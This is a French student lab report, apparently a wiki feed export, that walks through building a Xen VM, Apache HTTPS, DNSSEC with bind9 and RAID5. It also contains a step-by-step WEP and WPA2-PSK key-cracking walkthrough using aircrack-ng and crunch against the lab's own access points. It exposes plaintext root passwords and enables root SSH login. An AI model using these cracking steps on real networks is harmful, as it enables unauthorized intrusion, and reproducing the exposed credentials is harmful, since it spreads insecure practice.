   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51612</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51612"/>
				<updated>2019-12-07T13:54:35Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5 , c'est quoi ? '''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
